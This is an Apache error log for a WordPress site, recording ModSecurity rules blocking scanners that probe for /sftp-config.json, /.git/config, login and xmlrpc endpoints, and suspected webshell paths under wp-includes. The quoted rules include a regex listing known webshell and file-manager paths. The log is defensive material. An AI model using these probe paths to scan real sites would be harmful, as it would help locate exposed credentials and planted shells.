[Fri Feb 06 23:58:56.853142 2026] [:error] [pid 3380:tid 3404] [client 20.203.201.174:3541] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mpxct.php"] [unique_id "aYYPwBFAlUvBGSBK2jd6oQAAABQ"]
[Fri Feb 06 23:58:57.625381 2026] [:error] [pid 3380:tid 3386] [client 20.203.201.174:46352] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mpxct.php"] [unique_id "aYYPwRFAlUvBGSBK2jd6ogAAAAI"]
[Fri Feb 06 23:58:58.168157 2026] [:error] [pid 3381:tid 3429] [client 20.203.201.174:28553] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mpxct.php"] [unique_id "aYYPwi81zqRg96ZREgiNigAAAFA"]
[Sat Feb 07 01:46:39.176672 2026] [:error] [pid 50881:tid 50955] [client 216.73.216.22:5300] [client 216.73.216.22] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||www.agraphics.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "www.agraphics.com.au"] [uri "/robots.txt"] [unique_id "aYYo_18TBLsqJpkSDKXZ9gAAAZA"]
[Sat Feb 07 06:13:15.564051 2026] [proxy_fcgi:error] [pid 43182:tid 43196] [client 20.214.152.240:1814] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 06:13:15.741860 2026] [proxy_fcgi:error] [pid 43182:tid 43197] [client 20.214.152.240:1814] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 06:13:17.367808 2026] [proxy_fcgi:error] [pid 43182:tid 43203] [client 20.214.152.240:1814] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 06:13:17.522828 2026] [proxy_fcgi:error] [pid 43182:tid 43199] [client 20.214.152.240:1814] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 06:13:17.983703 2026] [proxy_fcgi:error] [pid 43182:tid 43206] [client 20.214.152.240:1814] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 06:13:18.563848 2026] [proxy_fcgi:error] [pid 43182:tid 43190] [client 20.214.152.240:1814] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 06:13:19.020414 2026] [:error] [pid 43182:tid 43189] [client 20.214.152.240:1814] [client 20.214.152.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/"] [unique_id "aYZnf_EC82JnxmrnFYnFdAAAAUU"]
[Sat Feb 07 06:13:19.579744 2026] [:error] [pid 50671:tid 50680] [client 20.214.152.240:4112] [client 20.214.152.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/"] [unique_id "aYZnf7vqLohWBI_mqBPpYAAAAAA"]
[Sat Feb 07 06:13:20.145213 2026] [:error] [pid 55157:tid 55176] [client 20.214.152.240:4120] [client 20.214.152.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/"] [unique_id "aYZngH36JdtTn2bTEozkEAAAAQ4"]
[Sat Feb 07 06:13:20.776924 2026] [:error] [pid 50671:tid 50685] [client 20.214.152.240:1798] [client 20.214.152.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/"] [unique_id "aYZngLvqLohWBI_mqBPpYgAAAAU"]
[Sat Feb 07 10:29:49.411946 2026] [:error] [pid 50780:tid 50798] [client 191.96.235.89:51907] [client 191.96.235.89] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aYajnetUmIu2JHM2Crv3rwAAANA"]
[Sat Feb 07 10:29:51.119129 2026] [:error] [pid 58058:tid 58082] [client 191.96.235.89:51936] [client 191.96.235.89] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aYajn7z-Qlvs65S4DP-OPQAAAZU"]
[Sat Feb 07 11:24:57.632795 2026] [:error] [pid 50780:tid 50798] [client 104.248.192.177:52278] [client 104.248.192.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.192.177, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aYawietUmIu2JHM2CrsGIQAAANA"]
[Sat Feb 07 11:24:57.642400 2026] [proxy_fcgi:error] [pid 50780:tid 50798] [client 104.248.192.177:52278] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 11:41:49.640125 2026] [:error] [pid 43182:tid 43193] [client 164.90.237.15:53720] [client 164.90.237.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.237.15, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aYa0ffEC82JnxmrnFYk41AAAAUk"]
[Sat Feb 07 11:41:49.650804 2026] [proxy_fcgi:error] [pid 43182:tid 43193] [client 164.90.237.15:53720] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 12:40:24.832588 2026] [:error] [pid 55157:tid 55164] [client 3.81.233.23:49318] [client 3.81.233.23] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aYbCOH36JdtTn2bTEoxd9gAAAQI"]
[Sat Feb 07 13:42:35.862496 2026] [:error] [pid 50673:tid 50742] [client 3.81.233.23:55808] [client 3.81.233.23] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aYbQy2VwLsaZ7aKO2cmTVwAAAIc"]
[Sat Feb 07 19:01:44.386510 2026] [:error] [pid 55157:tid 55164] [client 159.89.198.10:51017] [client 159.89.198.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.198.10, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYcbmH36JdtTn2bTEoywOQAAAQI"], referer: agp1959.com/blog//wp-login.php
[Sat Feb 07 19:01:44.420987 2026] [proxy_fcgi:error] [pid 55157:tid 55164] [client 159.89.198.10:51017] AH01071: Got error 'Primary script unknown', referer: agp1959.com/blog//wp-login.php
[Sat Feb 07 22:12:06.687729 2026] [proxy_fcgi:error] [pid 50780:tid 50800] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:07.208627 2026] [proxy_fcgi:error] [pid 50780:tid 50803] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:07.761627 2026] [proxy_fcgi:error] [pid 50780:tid 50802] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:08.239623 2026] [proxy_fcgi:error] [pid 50780:tid 50785] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:08.733223 2026] [proxy_fcgi:error] [pid 50780:tid 50787] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:09.229631 2026] [proxy_fcgi:error] [pid 50780:tid 50782] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:09.782261 2026] [proxy_fcgi:error] [pid 50780:tid 50802] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:10.269614 2026] [proxy_fcgi:error] [pid 50780:tid 50794] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:10.819605 2026] [proxy_fcgi:error] [pid 50780:tid 50783] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:11.331614 2026] [proxy_fcgi:error] [pid 50780:tid 50798] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:12.330650 2026] [proxy_fcgi:error] [pid 50780:tid 50792] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:12.804274 2026] [proxy_fcgi:error] [pid 50780:tid 50784] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:13.339618 2026] [proxy_fcgi:error] [pid 50780:tid 50802] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:13.835184 2026] [proxy_fcgi:error] [pid 50780:tid 50787] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:14.354778 2026] [proxy_fcgi:error] [pid 50780:tid 50799] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:14.839611 2026] [proxy_fcgi:error] [pid 50780:tid 50785] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:15.334807 2026] [proxy_fcgi:error] [pid 50780:tid 50786] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:15.811772 2026] [proxy_fcgi:error] [pid 50780:tid 50799] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:16.298631 2026] [proxy_fcgi:error] [pid 50780:tid 50782] [client 31.171.130.145:28039] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:23.246428 2026] [:error] [pid 50780:tid 50788] [client 31.171.130.145:28039] [client 31.171.130.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aYdIR-tUmIu2JHM2Crvf8wAAAMY"]
[Sat Feb 07 22:12:25.769453 2026] [:error] [pid 30684:tid 30688] [client 31.171.130.131:27733] [client 31.171.130.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aYdISbqwdxwowLt-_LwxTQAAAcE"]
[Sat Feb 07 22:12:28.270797 2026] [proxy_fcgi:error] [pid 50672:tid 50711] [client 31.171.130.122:27429] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:29.745311 2026] [:error] [pid 50672:tid 50720] [client 31.171.130.122:27429] [client 31.171.130.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aYdITQ9o0jq1XS8Nv7NlHgAAAEw"]
[Sat Feb 07 22:12:31.226636 2026] [proxy_fcgi:error] [pid 58058:tid 58074] [client 31.171.130.138:27789] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:31.736712 2026] [proxy_fcgi:error] [pid 58058:tid 58076] [client 31.171.130.138:27789] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:32.283447 2026] [:error] [pid 58058:tid 58082] [client 31.171.130.138:27789] [client 31.171.130.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aYdIULz-Qlvs65S4DP9GKgAAAZU"]
[Sat Feb 07 22:12:33.781625 2026] [proxy_fcgi:error] [pid 43182:tid 43193] [client 31.171.130.120:20985] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:36.321473 2026] [:error] [pid 43182:tid 43196] [client 31.171.130.120:20985] [client 31.171.130.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aYdIVPEC82JnxmrnFYnxcwAAAUw"]
[Sat Feb 07 22:12:37.768393 2026] [:error] [pid 50673:tid 50748] [client 31.171.130.122:43161] [client 31.171.130.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aYdIVWVwLsaZ7aKO2ckxZgAAAI0"]
[Sat Feb 07 22:12:38.756626 2026] [:error] [pid 43182:tid 43195] [client 31.171.130.140:48649] [client 31.171.130.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aYdIVvEC82JnxmrnFYnxkgAAAUs"]
[Sat Feb 07 22:12:39.722341 2026] [:error] [pid 50673:tid 50735] [client 31.171.130.155:64797] [client 31.171.130.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aYdIV2VwLsaZ7aKO2ckxdQAAAIA"]
[Sat Feb 07 22:12:40.693025 2026] [:error] [pid 50671:tid 50692] [client 31.171.130.151:59303] [client 31.171.130.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aYdIWLvqLohWBI_mqBPDogAAAAw"]
[Sat Feb 07 22:12:41.725739 2026] [:error] [pid 30684:tid 30704] [client 31.171.130.151:22591] [client 31.171.130.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aYdIWbqwdxwowLt-_LwxnAAAAdE"]
[Sat Feb 07 22:12:43.274919 2026] [:error] [pid 50780:tid 50796] [client 31.171.130.116:49355] [client 31.171.130.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aYdIW-tUmIu2JHM2CrvgnwAAAM4"]
[Sat Feb 07 22:12:44.248628 2026] [proxy_fcgi:error] [pid 50780:tid 50799] [client 31.171.130.147:43579] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:45.236292 2026] [:error] [pid 50780:tid 50790] [client 31.171.130.147:43579] [client 31.171.130.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aYdIXetUmIu2JHM2CrvgvAAAAMg"]
[Sat Feb 07 22:12:46.201605 2026] [proxy_fcgi:error] [pid 50672:tid 50726] [client 31.171.130.162:27139] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:46.794815 2026] [proxy_fcgi:error] [pid 50672:tid 50731] [client 31.171.130.162:27139] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:47.301628 2026] [:error] [pid 50672:tid 50715] [client 31.171.130.162:27139] [client 31.171.130.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aYdIXw9o0jq1XS8Nv7NlcgAAAEc"]
[Sat Feb 07 22:12:48.722445 2026] [:error] [pid 58058:tid 58067] [client 31.171.130.123:26843] [client 31.171.130.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aYdIYLz-Qlvs65S4DP9GtgAAAYY"]
[Sat Feb 07 22:12:49.727625 2026] [proxy_fcgi:error] [pid 50672:tid 50721] [client 31.171.130.165:22293] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:50.207268 2026] [:error] [pid 50672:tid 50722] [client 31.171.130.165:22293] [client 31.171.130.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aYdIYg9o0jq1XS8Nv7NliwAAAE4"]
[Sat Feb 07 22:12:51.181265 2026] [proxy_fcgi:error] [pid 50671:tid 50682] [client 31.171.130.155:56537] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:52.743736 2026] [proxy_fcgi:error] [pid 50671:tid 50684] [client 31.171.130.155:56537] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:54.265160 2026] [:error] [pid 50671:tid 50691] [client 31.171.130.155:56537] [client 31.171.130.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aYdIZrvqLohWBI_mqBPEDwAAAAs"]
[Sat Feb 07 22:12:55.296616 2026] [proxy_fcgi:error] [pid 50672:tid 50717] [client 31.171.130.121:28157] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:55.781979 2026] [:error] [pid 50672:tid 50710] [client 31.171.130.121:28157] [client 31.171.130.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aYdIZw9o0jq1XS8Nv7NlvwAAAEI"]
[Sat Feb 07 22:12:56.797728 2026] [proxy_fcgi:error] [pid 43182:tid 43186] [client 31.171.130.121:33661] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:12:57.775000 2026] [:error] [pid 43182:tid 43188] [client 31.171.130.121:33661] [client 31.171.130.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aYdIafEC82JnxmrnFYnyXgAAAUQ"]
[Sat Feb 07 22:12:59.259299 2026] [:error] [pid 50780:tid 50804] [client 31.171.130.132:21635] [client 31.171.130.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aYdIa-tUmIu2JHM2CrvhSQAAANY"]
[Sat Feb 07 22:13:00.755708 2026] [proxy_fcgi:error] [pid 50672:tid 50730] [client 31.171.130.137:32203] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:01.287679 2026] [proxy_fcgi:error] [pid 50672:tid 50723] [client 31.171.130.137:32203] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:13:02.349569 2026] [:error] [pid 50672:tid 50727] [client 31.171.130.137:32203] [client 31.171.130.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aYdIbg9o0jq1XS8Nv7Nl9wAAAFM"]
[Sat Feb 07 22:13:03.920983 2026] [:error] [pid 55157:tid 55163] [client 31.171.130.115:57717] [client 31.171.130.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aYdIb336JdtTn2bTEozrSwAAAQE"]
[Sat Feb 07 22:13:05.548901 2026] [:error] [pid 50672:tid 50716] [client 31.171.130.161:36575] [client 31.171.130.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aYdIcQ9o0jq1XS8Nv7NmDAAAAEg"]
[Sat Feb 07 22:13:06.509634 2026] [:error] [pid 50673:tid 50756] [client 31.171.130.116:52929] [client 31.171.130.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aYdIcmVwLsaZ7aKO2ckyOAAAAJU"]
[Sat Feb 07 22:13:07.652481 2026] [:error] [pid 50673:tid 50754] [client 31.171.130.140:38795] [client 31.171.130.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aYdIc2VwLsaZ7aKO2ckyRAAAAJM"]
[Sat Feb 07 22:13:09.693694 2026] [proxy_fcgi:error] [pid 43182:tid 43205] [client 31.171.130.135:47877] AH01071: Got error 'Primary script unknown'
